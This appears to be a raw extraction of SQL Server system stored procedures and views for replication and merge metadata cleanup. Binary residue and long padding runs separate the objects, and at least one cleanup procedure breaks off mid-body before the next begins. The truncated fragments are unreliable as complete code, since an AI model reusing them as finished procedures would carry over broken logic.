	-- mask, indicating that only columns in the article can be referenced
	-- in the row filter
	IF @publisher_type = N'ORACLE GATEWAY'
		SELECT @mask = @columnmask
	ELSE
		SELECT @mask = NULL	

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Issue call to validate row filter
	INSERT INTO #hquery (cmd) VALUES (N'{call HREPL.ValidateRowFilter(')
	INSERT INTO #hquery (cmd) VALUES (sys.fn_replquotename(@owner, '''')+ N',')
	INSERT INTO #hquery (cmd) VALUES (sys.fn_replquotename(@table, '''')+ N',')
	IF @mask IS NULL
		INSERT INTO #hquery (cmd) VALUES (N' NULL,')
	ELSE
		INSERT INTO #hquery (cmd) VALUES (N'''' + RIGHT(sys.fn_varbintohexstr(@mask), 256) + N''',')
	INSERT INTO #hquery (cmd) VALUES (sys.fn_replquotename(@rowfilter, '''') + N')}')
	
	EXEC @retcode = sys.sp_IHquery @publisher

	IF @retcode != 0 OR @@error != 0
	BEGIN
		SELECT 1
		RETURN (0)
	END

	SELECT 0
	RETURN (0)
END
0?M 8create procedure sys.sp_MScheck_palroleinpubdb
(
    @login sysname
    ,@hasaccess int output -- 0 = No access, 1 = Has access
)
as
begin
    --
    -- if db_owner - we are done
    -- else do a generic PAL role check
    --
    if (is_srvrolemember('sysadmin') = 1 or is_member('db_owner') = 1)
    begin
        select @hasaccess = 1
    end
    else
    begin
        select @hasaccess = sys.fn_isrolemember(0, @login, NULL)
    end
    --
    -- all done
    --
    return 0
end
0o@ u8CREATE VIEW sys.dm_os_waiting_tasks AS
	SELECT *
	FROM OpenRowSet(TABLE SYSWAITS)
0@ E8create procedure sys.sp_MSreinitoverlappingmergepublications
    @pubid uniqueidentifier,
    @upload_before_reinit bit
as
    declare @publisher sysname
    declare @publisher_db sysname
    declare @publication_current sysname
    declare @pubid_current uniqueidentifier
    declare @pubid_previous uniqueidentifier
    declare @retcode int

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    set @publisher= publishingservername()
    set @publisher_db= db_name()
    set @retcode= 0

    while 1=1
    begin
        set @pubid_previous= @pubid_current
        set @pubid_current= null
        
        select top 1 @publication_current= repub_smp.name,
                     @pubid_current= repub_smp.pubid
            from dbo.sysmergearticles as pub_sma 
                 inner join 
                 dbo.sysmergearticles as repub_sma on pub_sma.artid=repub_sma.artid
                 inner join
                 dbo.sysmergepublications as repub_smp on repub_sma.pubid=repub_smp.pubid
            where pub_sma.pubid=@pubid and 
                  pub_sma.pubid<>repub_sma.pubid and
                  repub_smp.publisher collate database_default=@publisher collate database_default and
                  repub_smp.publisher_db=@publisher_db and
                  (repub_smp.pubid > @pubid_previous or @pubid_previous is null)
            order by repub_smp.pubid asc

        if @pubid_current is null
        begin
            break
        end

        exec @retcode= sys.sp_MSreinitmergepublication
                                @publication= @publication_current,
                                @upload_first= @upload_before_reinit

        if @@error<>0 or @retcode<>0 return 1

    end

    return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
@`g	<
9r?0 8
--
-- Name: 
--		sp_MShelptracertokens
-- 
-- Description: 
--		This procedure is used to retrieve the tracer token lsns.
--		It returns a list of the time a publisher_commit a tracer token along with the 
--		tracer token lsn which can be used when calling sp_MShelptracertokenhistory.
--  
-- Parameters: 
--		@publisher		sysname
--		@publisher_db	sysname
--		@publication	sysname								
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		(see description)
--
-- Security: 
--		DBO or replmonitor of distribution db (used by the UI)
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MShelptracertokens
(
	@publisher		sysname,
	@publisher_db	sysname,
	@publication	sysname
)
as
begin
	set nocount on
	
	declare @retcode			int,
			@publication_id		int,
			@distribution_db	sysname
	
	select @distribution_db = db_name()
	
	--
	-- security check.
	-- User must be member of 'replmonitor' role in distribution database
	--
	exec @retcode = sys.sp_MSrepl_DistributorReplMonitorAccess @distribution_db = @distribution_db
	if @retcode != 0 or @@error != 0
	    return 1

	-- Has to be executed from distribution database
	if sys.fn_MSrepl_isdistdb (@distribution_db) != 1
	begin
		-- sp_MSispeertopeeragent can only be executed in the distribution database.
		raiserror (21482, 16, -1, 'sp_MShelptracertokens', 'distribution')
		return 1
	end
	
	-- check to see if the publication exists
	select @publication_id = msp.publication_id
		from dbo.MSpublications msp
			join sys.servers ss
				on msp.publisher_id = ss.server_id
		where UPPER(ss.name) = UPPER(@publisher)
			and msp.publisher_db = @publisher_db
			and msp.publication = @publication
						
	if @publication_id is NULL
	begin
		-- Publication 'publication' does not exist.
		raiserror(21200, 16, -1, @publication)
		return 1
	end

	-- make sure to only return the tracer_ids 
	-- that have tracer history information.
	select tracer_id,
			publisher_commit
		from MStracer_tokens
		where publication_id = @publication_id
			and tracer_id in (select parent_tracer_id
									from MStracer_history)
		order by publisher_commit desc

	return 0
end
0%0 D8Ttha4b0Z e8create procedure sys.sp_scriptreconwhereclause 
(
    @src_objid int
    ,@artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
)
as
begin
    declare @this_col int
                ,@art_col int
                ,@spacer nvarchar(10)
                ,@isset int
                ,@is_computed bit
                ,@rc int
                ,@cmd nvarchar(4000)
                ,@colname sysname
                ,@pubtypemssqlserver tinyint
                ,@pubtypeheterogeneous tinyint

    -- create WHERE clause

    select @art_col = 1
            ,@spacer = N' '
            ,@cmd = N'where'
            ,@pubtypemssqlserver = 1
            ,@pubtypeheterogeneous = 2
    -- prepare cursor based on publisher type
    if (@publishertype = @pubtypemssqlserver)
    begin
        DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
            select column_id, name, is_computed from sys.columns where object_id = @src_objid order by column_id asc
    end
    else if (@publishertype = @pubtypeheterogeneous)
    begin
        DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
            select colid, name, convert(bit,0) from IHsyscolumns where id = @src_objid order by colorder asc
    end
    else
    begin
        raiserror(21402, 16, 5, '@publishertype')
        return 1
    end
    
    OPEN hCColid
    FETCH hCColid INTO @this_col, @colname, @is_computed
    WHILE (@@fetch_status <> -1)
    begin
        exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, @publishertype
        if @isset = 1
        begin
            -- processing a column this is marked for replication and is not computed
            exec @isset = sys.sp_MSiscolpk @src_objid, @this_col, @publishertype
            if @isset = 1 
            begin
                -- processing a PK column                    
                select @cmd = @cmd + @spacer + quotename(@colname) + N' = @c' + convert( nvarchar, @art_col ) 
                select @spacer = N' and '

                if len( @cmd ) > 3000
                begin
                    insert into #proctext(procedure_text) values( @cmd )
                    select @cmd = N''
                end
                select @art_col = @art_col + 1
            end
            else
            begin
                --For computed columns that are not primary key columns,
                --the parameter index will not be incremented. This matches
                --the behavior in sp_scriptinsproccore
                if @is_computed = 0
                begin
                    select @art_col = @art_col + 1
                end
            end
        end
        FETCH hCColid INTO @this_col, @colname, @is_computed
    end
    CLOSE hCColid
    DEALLOCATE hCColid

    insert into #proctext(procedure_text) values( @cmd )
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	B	`	<]
92tQ0Z@ 8create procedure sys.sp_MSdelete_specifiedcontentsandtombstone 
    @num_contents_rows int = 0 output,
    @num_tombstone_rows int = 0 output
as
    declare @retcode smallint
    declare @delbatchsize int
    
    set @delbatchsize= 5000

    -- iterate over articles in the temptable
    declare @artnick int
    declare article_curs cursor local fast_forward for 
        select distinct artnick from #oldgens

    open article_curs
    fetch next from article_curs into @artnick

    while (@@fetch_status <> -1)
    begin
        -- if necessary, update highest version in dbo.sysmergearticles
        exec @retcode= sp_MSsethighestversion @artnick= @artnick
        if @retcode<>0 or @@error<>0 goto Failure

        -- clean up orphaned rows in MSmerge_contents
        declare @delcount int
        
        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) cpm from dbo.MSmerge_current_partition_mappings as cpm with (rowlock)
            where cpm.tablenick = @artnick
            and exists 
                (select mc.tablenick, mc.rowguid from dbo.MSmerge_contents as mc inner join #oldgens as og 
                    on (mc.tablenick = og.artnick and mc.generation = og.gen) 
                    where mc.tablenick = @artnick
                    and mc.tablenick = cpm.tablenick
                    and mc.rowguid = cpm.rowguid)
            set @delcount= @@rowcount
        end
        
        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) ppm from dbo.MSmerge_past_partition_mappings as ppm
            inner join #oldgens as og on (ppm.tablenick = og.artnick and ppm.generation = og.gen) where ppm.tablenick = @artnick
            
            set @delcount= @@rowcount
        end
        
        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) mc from dbo.MSmerge_contents as mc inner join #oldgens as og 
                on (mc.tablenick = og.artnick and mc.generation = og.gen) 
                where mc.tablenick = @artnick
            set @delcount= @@rowcount
            set @num_contents_rows = @num_contents_rows + @delcount
        end

        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
            delete top (@delbatchsize) mt from dbo.MSmerge_tombstone as mt inner join #oldgens as og 
                on (mt.tablenick = og.artnick and mt.generation = og.gen) 
                where mt.tablenick = @artnick
            set @delcount= @@rowcount
            set @num_tombstone_rows = @num_tombstone_rows + @delcount
        end

        -- get next article
        fetch next from article_curs into @artnick
    end
    
    close article_curs
    deallocate article_curs
    return(0)

Failure:
    close article_curs
    deallocate article_curs
    return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`~	<=
9e&0@ 	8CREATE PROCEDURE sys.sp_MSrefreshmqtosql
(
    @publisher sysname
    ,@publisher_db sysname
    ,@publication sysname
)
as
begin
    set nocount on
    declare @retcode int
                ,@queue_server nvarchar(255)
                ,@agent_id int
                ,@queue_id sysname
    
    --
    -- enumerate the distribution agent entries that are using MSMQ 
    -- for this publications
    --
    declare #hcdistagents cursor local fast_forward for
        select id, queue_server, queue_id
        from (dbo.MSdistribution_agents as a join sys.servers as s
            on a.publisher_id = s.server_id)
        where upper(s.name) = upper(@publisher) 
            and a.publisher_db = @publisher_db 
            and a.publication = @publication
            and a.queue_server is not null
            and a.queue_id is not null
            and a.queue_id != N'mssqlqueue' 
    for read only
    open #hcdistagents
    fetch #hcdistagents into @agent_id, @queue_server, @queue_id
    while @@fetch_status != -1
    begin
        --
        -- drop the msmq
        --
        begin try
            exec sys.sp_MSdropmqforsubscription @queue_server, @queue_id
        end try
        begin catch
            --
            -- ignore the error here as it is non fatal for refresh process
            --
            raiserror(N'Could not drop mq %s %s for agent %d', 10, 1, @queue_server, @queue_id, @agent_id)
        end catch
        --
        -- update this entry
        --
        update dbo.MSdistribution_agents 
        set queue_server = NULL, queue_id = N'mssqlqueue' 
        where id = @agent_id
        --
        -- update MSsubscriptions entries for subscriptions serviced by this agent
        --
        update dbo.MSsubscriptions 
        set update_mode = case 
                when (update_mode = 2) then 4 
                when (update_mode = 3) then 5
                when (update_mode = 7) then 6
                else update_mode end
        where agent_id = @agent_id
        --
        -- get next entry
        --
        fetch #hcdistagents into @agent_id, @queue_server, @queue_id
    end
    close #hcdistagents
    deallocate #hcdistagents

    --
    -- all done
    --
    return 0
end
0~ 8create procedure sys.sp_MSmarksubscriptionvalidation (
    @publication sysname,    /* publication name */
    @subscriber sysname,             /* subscriber name */
    @destination_db sysname   /* destination database name */
) AS

    DECLARE @retcode int, @pubid int

    DECLARE @artid int, @active tinyint
    DECLARE @srvid smallint
    DECLARE @non_sql_flag bit
    DECLARE @repl_freq int
    				,@OPT_ENABLED_FOR_HET_SUB tinyint
    				,@enabled_for_hsub bit

  
    -- Initialization
    select @active = 2
    			,@OPT_ENABLED_FOR_HET_SUB = 0x4
    			,@enabled_for_hsub = 0

    /* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /* Validate names */

    EXECUTE @retcode = sys.sp_validname @publication
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)

    EXECUTE @retcode = sys.sp_validname @subscriber
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)

    EXECUTE @retcode = sys.sp_validname @destination_db
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)

    /*
    ** Parameter Check:  @publication
    ** Check to make sure that the publication exists, that it's not NULL,
    ** and that it conforms to the rules for identifiers.
    */
    SELECT @pubid = pubid, @repl_freq = repl_freq
    		, @enabled_for_hsub = (case options & @OPT_ENABLED_FOR_HET_SUB when @OPT_ENABLED_FOR_HET_SUB then 1 else 0 end) 
    		FROM syspublications WHERE name = @publication
    if @pubid is null
    begin
        RAISERROR (20026, 16, -1, @publication)
        RETURN (1)
    END

    -- Article validation is not valid for snapshot publications
    if @repl_freq <> 0
    begin
        raiserror(21484, 16, -1, @publication)
        return 1
    end

    /*
    ** Parameter Check:  @subscriber
    ** Check to make sure that the subscriber exists
    */
    select @subscriber = UPPER(@subscriber)
        
    if (@enabled_for_hsub = 1)
    begin
        RAISERROR (20614, 16, -1)
        RETURN (1)
    end

    -- Wrong dest_db will be caught by the following query

    -- Check to make sure the subscription exists 
    IF NOT EXISTS (SELECT *
          FROM syssubscriptions sub,
               sysextendedarticlesview art,
               syspublications pub
         WHERE pub.pubid = @pubid
           AND sub.srvname = UPPER(@subscriber) 
           AND sub.artid = art.artid
           AND art.pubid = pub.pubid
           AND ((@destination_db = N'%') OR (sub.dest_db = @destination_db)))
    BEGIN
        RAISERROR (14055, 16, -1)
        RETURN (1)
    END

    -- Select an article for that is actively subscribed.
    -- If none is found, do nothing
    select top 1 @artid = art.artid 
          FROM syssubscriptions sub,
               sysextendedarticlesview art
         WHERE sub.srvname = UPPER(@subscriber) 
           AND sub.artid = art.artid
           AND art.pubid = @pubid
           AND ((@destination_db = N'%') OR (sub.dest_db = @destination_db))
           AND sub.status = @active

    if @artid is null
        return 0

    declare @command nvarchar (1000)

    -- No need to quote them
    select @command = @subscriber + @destination_db
    exec @retcode = sys.sp_replpostcmd 
        0,              -- partial flag
        @pubid, 
        @artid, 
        68,             -- subscription validation marker
        @command
    if @retcode <> 0 or @@error <> 0
        return 1

    RETURN(0)
0@ 8CREATE VIEW sys.dm_hadr_internal_ag_listeners AS
	SELECT *
	FROM OpenRowset(TABLE DM_HADR_INTERNAL_AG_LISTENERS)
0@ 8CREATE PROCEDURE sys.sp_MSinvalidate_snapshot
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname
)
as
begin
    set nocount on
    declare @publisher_id smallint  
    declare @automatic tinyint
    declare @virtual smallint 
    declare @retcode int
    declare @active tinyint
		, @initiated tinyint
		, @subscribed tinyint
    declare @publication_id int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    select @automatic = 1
    select @virtual = - 1
    select @active = 2
		, @initiated = 3
		, @subscribed = 1

    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end

    -- Make sure publication exists
    select @publication_id = publication_id
        from dbo.MSpublications where publication = @publication and
        publisher_id = @publisher_id and publisher_db = @publisher_db

	-- Set the virtual subscription status to be 'subscribed' so that
	-- new subscription will wait for the next snapshot.
	update dbo.MSsubscriptions set status = @subscribed where 
		publication_id = @publication_id and
		sync_type = @automatic and
		status in (@active, @initiated) and
		subscriber_id = @virtual

	return (0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!(z	`
	<

2:+Z0 +8 
-- add it
create view sys.pdw_health_component_status_mappings as
select
	component_id,
	property_id,
	physical_name	collate database_default physical_name,
	logical_name	collate database_default logical_name
from sys._pdw_health_component_status_mappings
0 8CREATE VIEW sys.dm_server_services AS
	SELECT *
	FROM OpenRowset(TABLE DM_SERVER_SERVICES) 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
I9|XvqJcreate  procedure sys.sp_MSmerge_subbased_downloadonly_metadatacleanup
    (@num_genhistory_rows int = 0 output, 
     @num_contents_rows int = 0 output, 
     @num_tombstone_rows int = 0 output)
as
    create table #oldgens (gen bigint unique clustered, coldate datetime not null)
    
    declare @artnick int
    declare @gen bigint
    declare @retcode smallint
    declare @cmd nvarchar(200)
    declare @delbatchsize int
    declare @delcount int
    declare @pubid uniqueidentifier
           
    set @delbatchsize= 5000
    
    -- Do aggressive cleanup for (1) all subscription based articles, (2) all download only articles that belong to publications that have 
    -- at least one subscription-based article. The reason is that we cannot do
    -- aggressive cleanup of download-only articles otherwise since aggressive cleanup requires invalidating dynamic snapshot (and requiring
    -- subscriber-initiated snapshot on the fly. We already have this requirement with subscription-based articles, and we didn't want to
    -- impose this requirement in any other case. Also, don't want to do aggressive cleanup of download-only if there are global subscribers.
    
    declare article_curs cursor local fast_forward for 
        
        select distinct nickname, pubid from dbo.sysmergepartitioninfoview 
        where partition_options = 3
        
        union
        
        select distinct nickname, pubid from dbo.sysmergepartitioninfoview smpi1
        where (upload_options = 1 or upload_options = 2)		-- the article is download-only
        
     	and not exists (select * from dbo.sysmergearticles smpi3
						where smpi1.nickname = smpi3.nickname
						and smpi3.pubid not in (select smpi4.pubid from dbo.sysmergepartitioninfo smpi4
													where smpi4.partition_options = 3)) -- it belongs to no publication that has no sub-based articles
						
		and not exists (select * from dbo.sysmergesubscriptions where pubid <> subid and subscriber_type = 1)
        
        for read only

    open article_curs
    fetch next from article_curs into @artnick, @pubid

    while (@@fetch_status <> -1)
    begin

        truncate table #oldgens
        
        if sys.fn_MSmerge_islocalpubid(@pubid) = 1
        begin
            if not exists (select * from dbo.sysmergesubscriptions 
                where pubid = @pubid 
                and subid <> @pubid)
            begin
                -- if there are no subscriptions, no need to keep any metadata for well-partitioned.
                insert into #oldgens 
                select distinct generation, coldate from dbo.MSmerge_genhistory 
                where (art_nick = @artnick or art_nick = 0)
                and genstatus in (1,2) 
            end
            else if exists (select * from dbo.sysmergesubscriptions 
                where pubid = @pubid 
                and subid <> @pubid 
                and partition_id is null)
            begin
                -- if for some reason, the partition id of some subscriptions is not known,
                -- we have to assume that all generations could be interesting to those
                -- subscriptions. In this case, delete only those generations that have
                -- been sent to all subscriptions.
                insert into #oldgens 
                select distinct generation, coldate from dbo.MSmerge_genhistory 
                where (art_nick = @artnick or art_nick = 0)
                and genstatus in (1,2) 
                and generation <
                    (select isnull(min(sentgen),0) from dbo.sysmergesubscriptions
                        where pubid = @pubid 
                        and subid <> @pubid )
                and guidsrc not in
                    (select recguid from dbo.sysmergesubscriptions
                        where pubid = @pubid 
                        and subid <> @pubid )
            end
            else
            begin
                -- for generations that have partition id -1, delete only if they have been sent to all subscriptions.
                -- for non -1 partition id generations, delete as long as they have been sent to the subscription
                -- of those specific partition ids.
                insert into #oldgens 
                select distinct generation, coldate from dbo.MSmerge_genhistory 
                where art_nick = @artnick 
                and genstatus in (1,2) 
                and generation not in
                    (select generation from dbo.MSmerge_generation_partition_mappings 
                        where partition_id = -1
                        and generation >= (select isnull(min(sentgen),0) from dbo.sysmergesubscriptions
                                            where pubid = @pubid 
                                            and subid <> @pubid ))
                and generation not in
                    (select generation from dbo.MSmerge_generation_partition_mappings gpm 
                        join dbo.sysmergesubscriptions sms
                        on sms.partition_id = gpm.partition_id
                        where isnull(sms.sentgen,0) <= gpm.generation
                        and sms.pubid = @pubid 
                        and sms.subid <> @pubid)
                and guidsrc not in
                    (select recguid from dbo.sysmergesubscriptions
                        where pubid = @pubid 
                        and subid <> @pubid )
            end
        end
        else
        begin
            insert into #oldgens 
                select distinct generation, coldate from dbo.MSmerge_genhistory 
                where art_nick = @artnick 
                and genstatus = 2
                and guidsrc not in
                    (select recguid from dbo.sysmergesubscriptions
                        where pubid = @pubid 
                        and subid = @pubid )
               
            insert into #oldgens 
                select distinct generation, coldate from dbo.MSmerge_genhistory 
                where art_nick = @artnick 
                and genstatus = 1
                and generation <
                    (select isnull(sentgen,0) from dbo.sysmergesubscriptions
                        where pubid = @pubid 
                        and subid = @pubid )
        end
        
        -- go to next article if this one has no stale generations
        if not exists (select * from #oldgens)
        begin
            fetch next from article_curs into @artnick, @pubid
            continue
        end
        
	

        exec @retcode = sys.sp_MSexpire_dynamic_snapshots_affected_by_cleanup
        if @retcode<>0 or @@error<>0 goto Failure
        
        -- set highest version in dbo.sysmergearticles
        exec @retcode= sys.sp_MSsethighestversion @artnick= @artnick
        if @retcode<>0 or @@error<>0 goto Failure

        -- clean up contents, tombstone, before image (if it exists), genhistory
		
	
        set @delcount= @delbatchsize
        while @delcount = @delbatchsize
        begin
			-- TAKE a table lock on MSmerge_contents to avoid deadlocks on the  DML trigger (390932) 
			begin transaction
			select NULL from dbo.MSmerge_contents with(TABLOCK ,HOLDLOCK) where 1=2    
			
            delete top (@delbatchsize) cpm from dbo.MSmerge_current_partition_mappings as cpm with (rowlock)
            where cpm.tablenick = @artnick 
            and exists
                (select mc.tablenick, mc.rowguid from dbo.MSmerge_contents as mc inner join #oldgens as og 
                    on (mc.generation = og.gen) 
                    where mc.tablenick = @artnick
                    and mc.tablenick = cpm.tablenick
                    and mc.rowguid = cpm.rowguid)
                    
            set @delcount= @@rowcount
			commit transaction
        end 
	    


        set @delcount= @delbatchsize
   !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
9ivhcreate procedure sys.sp_MSgenerateexpandproc(
@tablenick int, @procname sysname
)
AS
begin
    set nocount on

    declare @immediate_child_partition_viewname nvarchar(130), @immediate_child_nickname int,
                @join_unique_key int, @child_expand_proc sysname, @child_rgcol nvarchar(270), @child_has_col_tracking int

    declare @partition_view_id int, @partition_view_name nvarchar(270), @pubid uniqueidentifier, @artid uniqueidentifier,
            @retcode int, @artidstr nvarchar(40), @rgcol nvarchar(270), @objid int, @publication_number smallint
    declare @command1 nvarchar(max), @command2 nvarchar(max), @command3 nvarchar(max), @command4 nvarchar(max)
    declare @table_name nvarchar(130), @owner_qualified_table_name nvarchar(270), @immediate_child_table_name nvarchar(130), 
            @owner_qualified_immediate_child_table_name nvarchar(270), @immediate_child_objid int, 
            @join_filterclause nvarchar(2000), @child_join_colname nvarchar(130), @child_cannot_pre_exist bit, @parent_columns_unique bit, 
            @join_filter_id int
    declare @gen_change_threshold int
    declare @replnick binary(6)


    -- Security Check
    exec @retcode= sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0 return (1)
    
    select @parent_columns_unique = 0

    create table #tmpproccmd (phase int NOT NULL, step int identity NOT NULL, cmdtext nvarchar(max) collate database_default null)

    select top 1 @artid=artid, @objid=objid
    from dbo.sysmergearticles 
    where nickname = @tablenick 
    
